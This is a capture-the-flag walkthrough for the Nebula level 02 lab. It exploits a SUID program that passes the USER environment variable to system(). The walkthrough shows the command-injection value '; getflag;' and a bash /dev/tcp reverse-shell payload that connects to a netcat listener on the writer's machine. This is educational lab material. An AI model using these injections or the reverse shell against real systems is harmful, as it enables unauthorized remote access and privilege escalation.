Exploit Exercises: Nebula Level 02
There is a vulnerability in the program below that allows arbitrary programs to be executed. Can you find it? To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
Source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Solution
After logging in, we go to the flag account folder.
1
2
3
level02@nebula:~$ cd /home/flag02/
level02@nebula:/home/flag02$ ls
Flag02
This program is almost the same as the previous one, but we cannot simply link “/bin/echo” to “/bin/getflag” because of the hardcoded “/bin” path. However, on this line:
1
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
We can observe the “getenv” function, which makes our lives easier. If you do not know what “getenv” does, then read the following: http://en.cppreference.com/w/cpp/utility/program/getenv
So let’s try the following export:
1
2
level02@nebula:/home/flag02$ export USER=getflag
level02@nebula:/home/flag02$
At this point the environment variable $USER has the value “getflag”. Let’s test:
1
2
3
level02@nebula:/home/flag02$ export USER=getflag
level02@nebula:/home/flag02$ echo $USER
getflag
Now let’s run the application and see the output.
1
2
3
4
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo getflag is cool")
getflag is cool
level02@nebula:/home/flag02$
We control the value of $USER, but we also need to terminate the original command in order to get our own instructions executed. In a shell command we can separate commands with the “;” symbol. So let’s do this:
1
2
3
4
level02@nebula:/home/flag02$ export USER='; getflag;'
level02@nebula:/home/flag02$ echo $USER
; getflag;
level02@nebula:/home/flag02$
Now let’s execute:
1
2
3
4
5
6
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; getflag; is cool")
You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$
The funny thing is that “sh: is: command not found” means the program is trying to execute the system command “is”. Have you ever tried a reverse shell? OK, let’s take control of the user “flag02” through this SUID-vulnerable program.
Steps for standard reverse shell:
The attacker listens on a port.
The target connects back to the attacker’s IP on that port (either through a standard command or through an exploit in a particular program ⇒ SUID in our case).
The attacker sends commands back! ⇒ Reverse Shell
Nebula system (aka target):
1
2
3
level02@nebula:/home/flag02$ id
uid=1003(level02) gid=1003(level02) groups=1003(level02)
level02@nebula:/home/flag02$
⇒ I am logged in as the user “level02”.
My system (aka the attacker) starts listening:
1
2
lucian@vm:~$ nc -l -p 8080 -vvv
Listening on [0.0.0.0] (family 0, port 8080)
The Nebula system (aka the target) prepares the exploit:
1
level02@nebula:/home/flag02$ export USER='; bash -i >& /dev/tcp/192.168.0.104/8080 0>&1;'
In other words, this is a standard reverse shell command using bash. It can be broken down as:
1
bash -i >& /dev/tcp/<attcker ip address>/<port that the attacker is listening on> 0>&1
The Nebula system (aka the target) runs the exploit:
1
2
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; bash -i >& /dev/tcp/192.168.0.104/8080 0>&1; is cool")
At this point my system (aka the attacker) can execute commands as “flag02” instead of “level02”, straight from the attacker’s terminal!
1
2
3
4
5
6
7
8
9
10
lucian@vm:~$ nc -l -p 8080 -vvv
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [192.168.0.101] port 8080 [tcp/http-alt] accepted (family 2, sport 55773)
flag02@nebula:/home/flag02$ id
id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
flag02@nebula:/home/flag02$ getflag
getflag
You have successfully executed getflag on a target account
flag02@nebula:/home/flag02$
